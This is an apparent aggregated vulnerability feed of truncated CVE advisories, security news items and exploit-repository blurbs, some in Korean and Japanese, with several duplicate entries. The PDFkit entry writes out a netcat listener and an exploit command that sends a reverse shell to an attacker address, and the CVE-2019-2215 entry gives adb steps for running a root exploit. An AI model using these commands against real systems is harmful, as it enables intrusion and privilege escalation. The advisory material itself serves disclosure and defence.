CVE-2026-106440 Hydra: Optuna custom_search_space can resolve and execute untrusted callables via get_method

Hydra is a framework for elegantly configuring complex applications. From 1.2.0 until 1.3.0 and 1.4.0.dev10, the hydra-optuna-sweeper package accepts a configuration-controlled dotted path in hydra.sweeper.customsearchspace, resolves it with hydra.utils.getmethod, and later invokes the returned...

CVE-2026-106440 Hydra: Optuna custom_search_space can resolve and execute untrusted callables via get_method

Hydra is a framework for elegantly configuring complex applications. From 1.2.0 until 1.3.0 and 1.4.0.dev10, the hydra-optuna-sweeper package accepts a configuration-controlled dotted path in hydra.sweeper.customsearchspace, resolves it with hydra.utils.getmethod, and later invokes the returned...

CVE-2026-82162

Dell Command | Configure DCC, versions prior to 5.2.3.35, contain an Improper Handling of Mixed Encoding vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Elevation of Privileges...

EUVD-2026-93659

Dell Command | Configure DCC, versions prior to 5.2.3.35, contain an Improper Handling of Mixed Encoding vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Elevation of Privileges...

CVE-2026-82162

Versions prior to 5.2.3.35 of Dell Command | Configure (DCC) are vulnerable to an Improper Handling of Mixed Encoding vulnerability (CWE-175). An unauthenticated attacker with remote access could potentially exploit this flaw to achieve Elevation of Privileges . Remediation information can be fou...

CVE-2026-48907

E.L.V CVE リサーチ & アセスメントフレームワーク E.L.V — Exploit Loader & Vulnerability Firmware 認可された脆弱性評価のためのサイバーセキュリティリサーチユーティリティ。 目次 概要 重要な安全上の注意 プロジェクト情報 現在のスクリプトの動作 ワークフロー 要件 インストール コマンドラインインターフェース 入力ファイル 出力 並行処理 ネットワーク動作 SSL/TLS 動作 ログと結果 エラー処理 ソースコード構成 セキュリティに関する考慮事項 責任あるテスト手法 トラブルシューティング 開発ノート 既知の制限事項 今後の改...

CVE-2026-70414

Dell Command | Configure (DCC) versions prior to 5.2.3.35 are affected by a Plaintext Storage of Password vulnerability (CWE-256). A low privileged attacker with local access could exploit this flaw to cause Information Disclosure . No specific exploit details are provided in the documentation. R...

EUVD-2026-93656

Dell Command | Configure DCC, versions prior to 5.2.3.35, contain a Plaintext Storage of Password vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Information Disclosure...

CVE-2026-70414

Dell Command | Configure DCC, versions prior to 5.2.3.35, contain a Plaintext Storage of Password vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Information Disclosure...

CVE-2026-70414

Dell Command | Configure DCC, versions prior to 5.2.3.35, contain a Plaintext Storage of Password vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Information Disclosure...

PDFkit-CMD-Injection-CVE-2022-25765

PDFkit-CMD-Injection CVE-2022-25765 CVE-2022-25765 pdfkit 0.8.6의 명령 삽입Command Injection에 대한 익스플로잇 취약점에 대한 자세한 내용은 여기에서 확인하세요. PoC 호스트에서 netcat을 실행하세요: $ nc -lvnp 1337 익스플로잇 실행 예시: $ ./CVE-2022-25765.py -t http://localhost -a 10.10.14.122 -p 1337 Input target address is http://localhost Input...

Fake ChatGPT, Gemini, and Claude Ad Portals Capture Credentials and MFA Codes

Cybersecurity researchers have disclosed details of a "human-operated phishing platform" that impersonates advertising products for artificial intelligence AI chatbots like Google Gemini, Anthropic Claude, OpenAI ChatGPT, Perplexity, Meta Muse, and Manus. The products, which claim to offer campai...

Security update for the Linux Kernel (Live Patch 80 for SUSE Linux Enterprise 12 SP5)

This update for the SUSE Linux Enterprise Kernel 4.12.14-122.302 fixes various security issues: The following security issues were fixed: CVE-2026-46116: xfrm: defensively unhash xfrmstate lists in xfrmstatedelete bsc1267370. CVE-2026-63888: scsi: target: iscsi: Fix CRC overread and double-free i...

Linux Backdoors Impersonate Email Security Tools to Evade Detection in Korea and Taiwan

Linux backdoors targeting telecom and network appliances in South Korea and Taiwan have been disguising their traffic as email services and seemingly legitimate processes to blend in and evade detection. Threat actors are known to name their malicious software after a legitimate operating system...

Exploit for CVE-2026-21589

CVE-2026-21589 - Atlassian Data Center Una...

CVE-2025-57819-exploit

CVE-2025-57819 — FreePBX 사전 인증 SQL 삽입을 통한 원격 코드 실행 CVE-2025-57819 를 위한 올인원 익스플로잇입니다. FreePBX의 엔드포인트 모듈에 있는 인증되지 않은 SQL 삽입 취약점으로, 크론 작업 삽입을 통해 원격 코드 실행으로 이어집니다. CVSS : 9.8 심각 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CISA KEV : 2025년 8월 29일 추가 영향 : Sangoma FreePBX 15, 16, 17, 엔드포인트 모듈 │ ▼ SQL...

CVE-2026-106103

Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to @quasar/icongenie 6.1.1, the icongenie generate --profile command accepted folder and name values from a user-supplied profile without constraining the resolved destination to the Quasar project...

CVE-2026-101207

Dell OpenManage Integration with Microsoft Windows Admin Center, versions prior to 3.7.0, contains an Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability,...

CVE-2019-2215

CVE-2019-2215 CVE-2019-2215 POC 커널 3.18용 Maddie Stone의 POC를 기반으로 함 https://bugs.chromium.org/p/project-zero/issues/detail?id=1942 사용 방법: adb push su98 /data/local/tmp adb push su98-memory-kallsyms /data/local/tmp adb shell G8231:/ $ cd /data/local/tmp G8231:/ $ chmod 755 G8231:/data/local/tmp $...

POC_CVE-2026-46716

CVE-2026-46716 — Nezha 모니터링 크로스 테넌트 RCE: Cron API 인증 우회 CVE-2026-46716 을 재현하고 탐지하기 위한 실습 환경입니다. Nezha 모니터링에서 POST /api/v1/cron 엔드포인트에 관리자 권한 검사가 누락되어 RoleMember 사용자가 크로스 테넌트 원격 코드 실행을 할 수 있는 치명적인 취약점입니다. 취약점 개요 항목| 세부 정보 ---|--- CVE ID| CVE-2026-46716 GHSA| GHSA-99gv-2m7h-3hh9 CVSS| 9.9 Critical ...